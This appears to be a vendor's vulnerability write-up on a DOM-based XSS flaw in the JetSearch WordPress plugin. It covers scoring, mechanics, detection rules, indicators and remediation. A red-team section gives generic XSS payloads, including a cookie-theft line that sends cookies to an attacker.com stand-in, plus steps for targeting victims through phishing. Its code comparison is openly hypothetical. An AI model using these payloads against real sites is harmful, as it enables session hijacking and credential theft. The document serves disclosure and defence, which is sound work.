CVE-2025-68504
Executive Summary
CVE-2025-68504 is a DOM-Based Cross-Site Scripting (XSS) vulnerability identified in the Crocoblock JetSearch WordPress plugin, affecting versions up to and including 3.5.16. This vulnerability arises from improper neutralization of user input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of the victim's browser. The flaw is classified as a DOM-Based XSS, meaning the payload is executed entirely on the client side through manipulation of the Document Object Model (DOM) environment, bypassing server-side sanitization.
As a WordPress plugin vulnerability, this issue directly impacts the WordPress ecosystem. The attack vector is network-based, requires low complexity, and necessitates user interaction (e.g., clicking a crafted link). Successful exploitation could lead to session hijacking, credential theft, or defacement of the affected site. The CVSS score of 6.5 (Medium) reflects the potential for partial confidentiality, integrity, and availability impact.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the JetSearch WordPress plugin, which is distributed through the WordPress plugin repository and Crocoblock's own marketplace. As a WordPress plugin, it is part of the broader WordPress supply chain. Users who have installed JetSearch from any source are at risk. The lack of a patch at the time of analysis means that all installations of version 3.5.16 and earlier are vulnerable. Administrators should monitor the plugin's update channel for a patched version and consider disabling the plugin until a fix is available.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): Required (R) – The victim must click a malicious link or visit a crafted page.
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low (L) – Limited information disclosure is possible.
- Integrity (I): Low (L) – Limited modification of data is possible.
- Availability (A): Low (L) – Limited disruption of service is possible.
Threat Level: Medium. While the CVSS score is moderate, the prevalence of WordPress sites and the ease of exploitation (low complexity, no privileges required) elevate the real-world risk. DOM-Based XSS can be particularly insidious as it often bypasses traditional web application firewalls (WAFs) and server-side filters.
Deep Dive & Mechanics
The vulnerability resides in the JetSearch plugin's JavaScript code, which handles user input from the search bar or URL parameters. DOM-Based XSS occurs when client-side scripts write user-controlled data to the DOM without proper sanitization. In this case, the plugin likely reads a value from document.location, document.URL, or window.location.hash and injects it into the page's HTML via methods like innerHTML, document.write, or eval().
Attack Flow:
- An attacker crafts a malicious URL containing a JavaScript payload in a query parameter or fragment identifier (e.g.,
?q=<script>alert('XSS')</script>or#<img src=x onerror=alert(1)>). - The victim clicks the link or is redirected to the crafted URL.
- The JetSearch plugin's JavaScript reads the malicious input from the URL.
- The input is written to the DOM without proper encoding, causing the browser to execute the injected script.
- The script executes in the context of the victim's session, allowing the attacker to steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.
Root Cause: The plugin fails to use safe DOM manipulation methods (e.g., textContent instead of innerHTML) and does not encode or validate input before rendering it in the page.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common fixes for DOM-Based XSS.
Vulnerable Code (JavaScript):
// Vulnerable: Directly injecting user input into DOM
var searchQuery = new URLSearchParams(window.location.search).get('q');
document.getElementById('search-results').innerHTML = 'You searched for: ' + searchQuery;
Patched Code (JavaScript):
// Patched: Using textContent to safely set text
var searchQuery = new URLSearchParams(window.location.search).get('q');
var safeQuery = document.createTextNode(searchQuery);
document.getElementById('search-results').appendChild(safeQuery);
Key Differences:
- The vulnerable code uses
innerHTML, which parses and executes HTML/JavaScript. - The patched code uses
textContentorcreateTextNode, which treats input as plain text. - Additional sanitization using DOMPurify or similar libraries may also be applied.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with JetSearch plugin version <= 3.5.16 installed and active.
- The victim must be logged into the WordPress admin or have an active session.
Exploit Payload: Since no public exploit code is available, a generic DOM-Based XSS payload can be used:
http://target-site.com/?q=<img src=x onerror=alert(document.cookie)>
Steps:
- Identify a JetSearch instance by searching for the plugin's search bar or by using Shodan dorks.
- Craft a URL with a malicious payload in a parameter that the plugin reads (e.g.,
q,s, or a hash fragment). - Send the URL to the victim via phishing email, social engineering, or by embedding it in a third-party site.
- When the victim clicks the link, the payload executes, and the attacker can exfiltrate session cookies or perform other actions.
Advanced Payload (Session Hijacking):
http://target-site.com/?q=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for requests containing suspicious patterns in query parameters (e.g.,
<script>,onerror=,javascript:). - Use browser-based security headers like Content Security Policy (CSP) to mitigate XSS.
- Deploy a Web Application Firewall (WAF) with rules to block common XSS payloads.
Hardening:
- Disable the JetSearch plugin until a patch is released.
- Implement CSP headers that restrict script execution to trusted sources.
- Educate users about phishing attacks and the risks of clicking untrusted links.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing
<script>,onerror,onload, orjavascript:in query parameters. - Outbound connections to attacker-controlled domains from the victim's browser.
- Unusual referrer headers pointing to crafted URLs.
Host IOCs:
- Presence of unexpected JavaScript files or modifications to the JetSearch plugin files.
- Browser console errors related to DOM manipulation or script execution.
- Unauthorized changes to WordPress user roles or settings.
File IOCs:
- Modified files in
/wp-content/plugins/jet-search/(check file integrity). - Suspicious entries in WordPress database
wp_optionsorwp_postmetatables.
Detection Engineering
YARA Rule
rule CVE_2025_68504_DOM_XSS {
meta:
description = "Detects DOM-Based XSS attempts targeting JetSearch plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-68504"
strings:
$xss1 = /[?&]q=.*<script>/i
$xss2 = /[?&]q=.*onerror=/i
$xss3 = /[?&]q=.*onload=/i
$xss4 = /[?&]q=.*javascript:/i
$jetsearch = /jet-search/i
condition:
any of ($xss*) and $jetsearch
}
Sigma Rule
title: CVE-2025-68504 JetSearch DOM XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads targeting JetSearch plugin
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-68504
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '<script>'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in search queries (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-68504 JetSearch DOM XSS Attempt"; flow:to_server; content:"jet-search"; http_uri; nocase; pcre:"/[?&]q=.*(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the JetSearch plugin until a patched version is released.
- Implement a Content Security Policy (CSP) that restricts script execution to trusted sources. Example:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; object-src 'none'; - Apply a Web Application Firewall (WAF) rule to block common XSS payloads in query parameters.
Long-Term Fixes:
- Monitor the Crocoblock website or WordPress plugin repository for a patched version of JetSearch.
- Once a patch is available, update the plugin immediately.
- Conduct a security audit of all WordPress plugins to identify similar vulnerabilities.
- Implement secure coding practices, including input validation and output encoding, for all custom plugins.
Workarounds:
- If the plugin cannot be disabled, consider using a reverse proxy to sanitize query parameters before they reach the application.
- Use browser extensions that block XSS attacks (e.g., NoScript).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.